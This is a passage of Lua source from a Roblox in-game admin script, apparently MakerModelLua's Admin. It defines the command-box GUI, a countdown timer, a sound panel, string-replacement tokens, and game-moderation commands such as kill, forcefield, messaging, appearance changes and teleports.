5178 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5179
5180 local function ExecuteText()
5181 local Text = CORE:ReadProperty(RPR, Player, "Text")
5182 CORE:Chatted(Text, Player, true)
5183 CommandBox.Text = "Enter a command here"
5184 end
5185
5186 local function AddSuggestion(Text)
5187 if Text == nil then Text = Settings.Prefix end
5188 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5189 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5190 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5191 if Text == Settings.Prefix then
5192 CommandBox.Text = Settings.Prefix
5193 else
5194 CommandBox.Text = Settings.Prefix..Text
5195 end
5196 CORE:ExecuteResource("Focus", CommandBox)
5197 end, true)
5198 end
5199
5200 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5201 if CommandBox.Text == "Enter a command here" then
5202 CommandBox.Text = ""
5203 end
5204 end)
5205
5206 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5207 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5208
5209 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5210 EnterPressed.OnServerInvoke = ExecuteText
5211
5212 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5213 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5214 Suggest:ClearAllChildren()
5215 local Text = CORE:ReadProperty(RPR, Player, "Text")
5216 if Text == "" then
5217 AddSuggestion(Settings.Prefix)
5218 end
5219
5220 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5221 Text = string.sub(Text,#Settings.Prefix+1)
5222 end
5223 for _,Data in pairs(UsableCommands) do
5224 local Command,Args = Data[1],Data[2]
5225 if string.find(string.lower(Command),string.lower(Text)) then
5226 local NewSuggestion = Command
5227 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5228 AddSuggestion(NewSuggestion)
5229 end
5230 end
5231
5232 end end)
5233end
5234
5235function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5236 if not Player or not AllSeconds then return nil end
5237 AllSeconds = tonumber(AllSeconds)
5238 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5239 AllSeconds = math.floor(AllSeconds)
5240 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5241 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5242 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5243 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5244 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5245 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5246
5247 local CurrentSeconds = AllSeconds
5248 local Alive = true
5249 coroutine.wrap(function() for i = 0,AllSeconds do
5250 if not Alive then break end
5251 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5252 local Minutes = tostring(math.floor(CurrentSeconds/60))
5253 if #Seconds == 1 then Seconds = "0"..Seconds end
5254 if #Minutes == 1 then Minutes = "0"..Minutes end
5255 Time.Text = Minutes..":"..Seconds
5256 wait(1)
5257 if CurrentSeconds <= 0 then
5258 Alarm:Play()
5259 Time.Text = "00:00"
5260 Part.Size = UDim2.new(1,0,1,0)
5261 Restore:Invoke()
5262 wait(4)
5263 Close:Invoke()
5264 break
5265 else
5266 Tick:Play()
5267 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5268 CurrentSeconds = CurrentSeconds - 1
5269 end
5270 end end)()
5271
5272 Closed.Event:connect(function()
5273 if Alive == true then
5274 Alive = false
5275 Tick:Stop()
5276 Alarm:Stop()
5277 end
5278 end)
5279end)() end
5280
5281function GUI:DetachChat(Player)
5282 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5283 if Player:FindFirstChild("DetachChatMML") then
5284 Player.DetachChatMML:Invoke(true)
5285 wait()
5286 Player.DetachChatMML:Destroy()
5287 end
5288
5289 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5290 local SG = Frame.Parent.Parent.Parent
5291
5292 local DCBF = Instance.new("BindableFunction", Player)
5293 DCBF.Name = "DetachChatMML"
5294 DCBF.OnInvoke = function(Remove)
5295 if Remove then
5296 SG:Destroy()
5297 end
5298 end
5299 CORE:ExecuteResource("CoreChat", SG)
5300
5301 local IsClosed = false
5302 Closed.Event:connect(function()
5303 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5304 IsClosed = true
5305 end)
5306
5307 coroutine.wrap(function()
5308 Player.CharacterRemoving:wait()
5309 if not IsClosed then
5310 IsClosed = true
5311 wait(1)
5312 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5313 end
5314 end)()
5315end
5316
5317function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5318 if not Player then return nil end
5319 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5320 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5321
5322 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5323end)() end
5324
5325function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5326 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5327 if not SoundID then SoundID = SoundInfo["ID"] end
5328 if not TitleText then TitleText = SoundInfo["Name"] end
5329 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5330 if not InputSound then InputSound = Sound end
5331
5332 local NumSounds = 0
5333 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5334 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5335 NumSounds = NumSounds + 1
5336 end
5337 end
5338
5339 local Size = UDim2.new(0.1, 100, 0.1, 100)
5340 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5341 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5342
5343 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5344 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5345 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5346 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5347 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5348 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5349 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5350
5351 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5352 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5353 if Sound then
5354 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5355 end
5356 if Time then
5357 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5358 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5359
5360 coroutine.wrap(function()
5361 local Alive = true
5362
5363 local function StopTimer() Alive = false end
5364 Closed.Event:connect(StopTimer)
5365 Minimized.Event:connect(StopTimer)
5366 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5367
5368 for i = Time,0,-1 do
5369 for ii = 1,10 do
5370 if Alive == true then
5371 Timer.Text = i
5372 wait(0.1)
5373 else
5374 break
5375 end
5376 end
5377 end
5378 if Alive == true then
5379 Close:Invoke()
5380 else
5381 Timer:Destroy()
5382 Stop:Destroy()
5383 end
5384 end)()
5385 end
5386end
5387
5388---- STRING REPLACEMENT OPERATIONS ----
5389
5390-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5391
5392-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5393
5394StringReplacements = {
5395 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5396 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5397 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5398 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5399 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5400 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5401 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5402 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5403 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5404 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5405
5406 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5407 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5408 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5409 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5410 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5411 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5412
5413 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5414 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5415 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5416 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5417 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5418 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5419 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5420 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5421 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5422 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5423 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5424 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5425 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5426 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5427 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5428 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5429}
5430
5431---- COMMANDS ----
5432
5433-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5434
5435Commands = { -- can't make local
5436 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5437 print("[MML's Admin]: Test message from "..Speaker.Name)
5438 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5439 end};
5440
5441 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5442 local Players = STRING:Scan(Arguments[1], Speaker)
5443 for _,Player in pairs(Players) do
5444 if Player.Character then
5445 Player.Character:BreakJoints()
5446 end
5447 end
5448 end};
5449
5450 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5451 local Players = STRING:Scan(Arguments[1], Speaker)
5452 for _,Player in pairs(Players) do
5453 if Player.Character then
5454 Instance.new("ForceField", Player.Character)
5455 end
5456 end
5457 end};
5458
5459 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5460 local Players = STRING:Scan(Arguments[1], Speaker)
5461 for _,Player in pairs(Players) do
5462 if Player.Character then
5463 for _,Get in pairs(Player.Character:GetChildren()) do
5464 if Get:IsA("ForceField") then
5465 Get:Destroy()
5466 end
5467 end
5468 end
5469 end
5470 end};
5471
5472 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5473 for _,Player in pairs(Server.Players:GetPlayers()) do
5474 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5475 end
5476 end};
5477
5478 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5479 for _,Player in pairs(Server.Players:GetPlayers()) do
5480 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5481 end
5482 end};
5483
5484 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5485 local Players = STRING:Scan(Arguments[1], Speaker)
5486 for _,Player in pairs(Players) do
5487 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5488 end
5489 end};
5490
5491 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5492 for _,Player in pairs(Server.Players:GetPlayers()) do
5493 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5494 end
5495 end};
5496
5497 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5498 local Players = STRING:Scan(Arguments[1], Speaker)
5499 for _,Player in pairs(Players) do
5500 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5501 end
5502 end};
5503
5504 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5505 local Players = STRING:Scan(Arguments[1], Speaker)
5506 local AgeList = {}
5507 for _,Player in pairs(Players) do
5508 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5509 end
5510 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5511 end};
5512
5513 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5514 local Players = STRING:Scan(Arguments[1], Speaker)
5515 local AgeList = {}
5516 for _,Player in pairs(Players) do
5517 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5518 end
5519 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5520 for _,Player in pairs(SecondPlayers) do
5521 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5522 end
5523 end};
5524
5525 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5526 local Storage = {{}, {}, {}, {}}
5527 local StorageText = {}
5528 local Formatted = {}
5529 for CommandNames,Data in pairs(Commands) do
5530 if not Data.Hidden then
5531 local RankNeeded = RANK:ConvertRank(Data[4])
5532 local Add = ""
5533 if Data[4] == "Non-Admin" then Add = "BLACK " end
5534 if Data[4] == "Admin" then Add = "CYAN " end
5535 if Data[4] == "Member" then Add = "BLUE " end
5536 if Data[4] == "Owner" then Add = "BROWN " end
5537 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5538 local AddBet = Settings.Bet
5539 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5540 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5541 table.insert(Storage[RankNeeded + 1], Add..Text)
5542 StorageText[Text] = CommandNames
5543 end
5544 end
5545 for Num,_ in pairs(Storage) do
5546 table.sort(Storage[Num])
5547 end
5548 for _,Table in pairs(Storage) do
5549 for _,Command in pairs(Table) do
5550 table.insert(Formatted, Command)
5551 end
5552 end
5553 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5554 Clicked.Event:connect(function(Text)
5555 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5556 end)
5557 end};
5558
5559 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5560 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5561 end};
5562
5563 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5564 if GUI:GetColor(Arguments[1]) then
5565 local ColorScheme = string.upper(Arguments[1])
5566 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5567 Settings.ColorScheme = ColorScheme
5568 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5569 else
5570 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5571 end
5572 end};
5573
5574 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5575 local List = {}
5576 for Color,_ in pairs(Colors) do
5577 table.insert(List, Color.." "..Color)
5578 end
5579 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5580 end};
5581
5582 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5583 local Transparency = tonumber(Arguments[1])
5584 if Transparency then
5585 if Transparency > 90 then Transparency = 90 end
5586 if Transparency < 10 then Transparency = 10 end
5587 Settings.TransparencyScheme = Transparency/100
5588
5589 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5590 else
5591 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5592 end
5593 end};
5594
5595 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5596 if Fonts[Arguments[1]] then
5597 Settings.Font = Arguments[1]
5598 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5599 end
5600 end};
5601
5602 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5603 Settings.Fun = not Settings.Fun
5604 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5605 end};
5606
5607 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5608 Settings.DisableAbuse = not Settings.DisableAbuse
5609 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5610 end};
5611
5612 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5613 local List = {}
5614 for Font,_ in pairs(Fonts) do
5615 if Font == Settings.Font then
5616 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5617 else
5618 table.insert(List, Font.." "..Font)
5619 end
5620 end
5621 GUI:ListGui(Speaker, "Font list", List, 44453197)
5622 end};
5623
5624 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5625 local SoundID = tonumber(Arguments[1])
5626 if SoundID then
5627 Settings.ExecuteNotificationSound = SoundID
5628
5629 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5630 else
5631 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5632 end
5633 end};
5634
5635 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5636 Settings.ExecuteNotificationSound = 0
5637 end};
5638
5639 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5640 local Players = STRING:Scan(Arguments[1], Speaker)
5641 for _,Player in pairs(Players) do
5642 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5643 end
5644 end};
5645
5646 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5647 local Players = STRING:Scan(Arguments[1], Speaker)
5648 for _,Player in pairs(Players) do
5649 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5650 end
5651 end};
5652
5653 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5654 local Players = STRING:Scan(Arguments[1], Speaker)
5655 for _,Player in pairs(Players) do
5656 coroutine.wrap(function()
5657 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5658 wait(1)
5659 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5660 end)()
5661 end
5662 end, Hidden = true};
5663
5664 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5665 local Players = STRING:Scan(Arguments[1], Speaker)
5666 for _,Player in pairs(Players) do
5667 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5668 end
5669 end};
5670
5671 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5672 local Players = STRING:Scan(Arguments[1], Speaker)
5673 for _,Player in pairs(Players) do
5674 CORE:ChangeName(Player, Arguments[2])
5675 end
5676 end};
5677
5678 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5679 local Players = STRING:Scan(Arguments[1], Speaker)
5680 for _,Player in pairs(Players) do
5681 if Player.Character then
5682 local Head = Player.Character:FindFirstChild("Label")
5683 if Head then Head:Destroy() end
5684 local Head = Player.Character:FindFirstChild("Head")
5685 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5686 end
5687 end
5688 end};
5689
5690 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5691 local Players = STRING:Scan(Arguments[1], Speaker)
5692 for _,Player in pairs(Players) do
5693 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5694 end
5695 end};
5696
5697 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5698 local Players = STRING:Scan(Arguments[1], Speaker)
5699 for _,Player in pairs(Players) do
5700 local _,RankNum = RANK:GetRank(Player)
5701 if RankNum <= RANK:ConvertRank(Rank) then
5702 Server.TS:Teleport(Arguments[2], Player)
5703 end
5704 end
5705 end};
5706
5707 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5708 local Players = STRING:Scan(Arguments[1], Speaker)
5709 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5710 if Suc then
5711 for _,Player in pairs(Players) do
5712 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5713 end
5714 else
5715 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5716 end
5717 end};
5718
5719 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5720 local Players = STRING:Scan(Arguments[1], Speaker)
5721 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5722 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5723 if Suc then
5724 for _,Player in pairs(Players) do
5725 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5726 end
5727 else
5728 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5729 end
5730 end)
5731 end};
